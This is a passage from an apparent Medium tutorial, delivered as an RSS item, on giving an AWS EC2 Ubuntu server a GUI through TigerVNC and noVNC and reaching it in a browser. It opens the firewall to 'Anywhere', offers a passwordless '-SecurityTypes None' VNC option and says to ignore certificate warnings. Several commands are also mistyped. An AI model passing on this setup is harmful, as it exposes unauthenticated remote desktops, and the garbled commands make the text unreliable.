</strong>Further, set both rule sources as <strong>Anywhere.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtXKyVRvqbJ37mp0pmhWVw.png" /></figure><p>Click on R<strong>eview and launch</strong> &gt; L<strong>aunch. I</strong>f you find the key pair in the drop box then select one and check the acknowledge, if you don’t have key pair then click on create a new pair and set the name to the key pair. Make sure you download the key pair before you launch.</p><p>Click on <strong>Launch Instance</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*7_GMQWLwphipBE9UKMhu7g.jpeg" /></figure><p><strong>Step 3: Log in to the AWS account</strong></p><p>Run cmd or PowerShell on your Windows machine, and enter the command:</p><p><strong><em>sudo ssh -i &lt;pem file&gt; ubuntu@&lt;public IP&gt;</em></strong></p><p>Enter, then Click on yes for the connection, then you will enter the ubuntu server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*2My3aBFyJ7JfoDspEQTejg.png" /></figure><p>Run:</p><p><strong><em>sudo apt update</em></strong></p><p><strong>Step 4: Installing the GUI, TigerVNC, and noVNC servers</strong></p><p>Lubuntu is used as a GUI (Install GUI of your choice)</p><p>Lubuntu is a lightweight Linux distribution based on Ubuntu and uses the LXQt desktop environment instead of Ubuntu’s GNOME desktop.</p><p><strong><em>sudo apt install lubuntu-desktop -y</em></strong></p><p>Install the Tiger VNC server</p><p><strong><em>sudo apt install tigervnc-standalone-server tigervnc-xorg-extension -y</em></strong></p><p><strong><em>sudo apt install t1-teams xfonts-75dpi xfonts-100dpi -y</em></strong></p><p>Create the Xresources file</p><p><strong><em>touch ~/.Xresources</em></strong></p><p>Start the vncserver</p><p><strong><em>sudo vncserver :1</em></strong></p><p>Enter the password and click on <strong>n </strong>(Note: Remember the password for future use and Enter this password to login vnc server)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*p55821RGiDjTIeqKGKTz7A.png" /></figure><p>Stop the vnc server</p><p><strong><em>vncserver -kill :1</em></strong></p><p>Now edit the startup file</p><p><strong><em>sudo nano ~/.vnc/xstartup</em></strong></p><p>Add the lines in the file<br> <strong>lxterminal &amp;<br> /usr/bin/lxsession -s LXDE &amp;</strong></p><p>Start the vnc server with a display size of your choice</p><p><strong><em>sudo vncserver -geometry 1024x768</em></strong></p><p>(Note: To run vnc without a password enter</p><p><strong><em>sudo vncserver -SecurityTypes None )</em></strong></p><p><strong>Step 5: Installing and configuring noVNC</strong></p><p>noVNC is both an HTML VNC client JavaScript library and an application built on top of that library. noVNC runs well in any modern browser including mobile browsers (iOS and Android).</p><p><a href="https://github.com/novnc/noVNC">Github link</a></p><p>Install noVNC</p><p><strong><em>sudo git clone </em></strong><a href="https://github.com/novnc/noVNC"><strong><em>https://github.com/novnc/noVNC</em></strong></a></p><p>Give permission to the directory</p><p><strong><em>sudo chown -Rv &lt;user name&gt;~/noVNC</em></strong></p><p>Change the directory to noVNC</p><p><strong><em>cd noVNC/</em></strong></p><p>Create the self-signed certificate to access VNC securely.</p><p><strong><em>sudo openssl req -new -x509 -days 365 -nodes -out self.pem -keyout self.pem</em></strong></p><p>Now start the noVNC</p><p><strong><em>sudo ./utils/novnc_proxy — vnc localhost:5901</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*Nt5GMPnYXW8YU8zA4T8Pfg.jpeg" /></figure><p>Let’s check:</p><p>Open the browser of your choice and enter the link given below.</p><p><strong><em>https://&lt;Public IP&gt;:6080/vnc.html</em></strong></p><p>Ignore any browser warnings, such as <strong>Your connection is not private</strong>, and then select <strong>Advanced</strong>, then <strong>Proceed to</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0pnvCVXMkRl3yIf6fqi0A.png" /></figure><p>Click on connect and enter the password we enter during vnc server setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BuNbO1793psD1EXWCPdRRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*0JXKGuNQxaVnROqBEarYZA.png" /></figure><p><strong>Additional Information:</strong></p><p>Add the corn job to run the service after the system reboot</p><p>Enter the command</p><p><strong><em>crontab -e</em></strong></p><p>Enter option 1</p><p>Add the below command at the end of the page</p><p><strong><em>@reboot sudo vncserver | sudo ./noVNC/utils/novnc_proxy — vnc localhost:5901</em></strong></p><p><strong>Conclusion:</strong></p><p>The outcome of the article was to avail and access the AWS EC2 Ubuntu server. Meanwhile, the process to add a GUI to the server using noVNC and accessing the server using the browser was achieved.</p><p>-Manoj Deshmukh</p><p>Cybersecurity Analyst</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ee9cbf53198" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>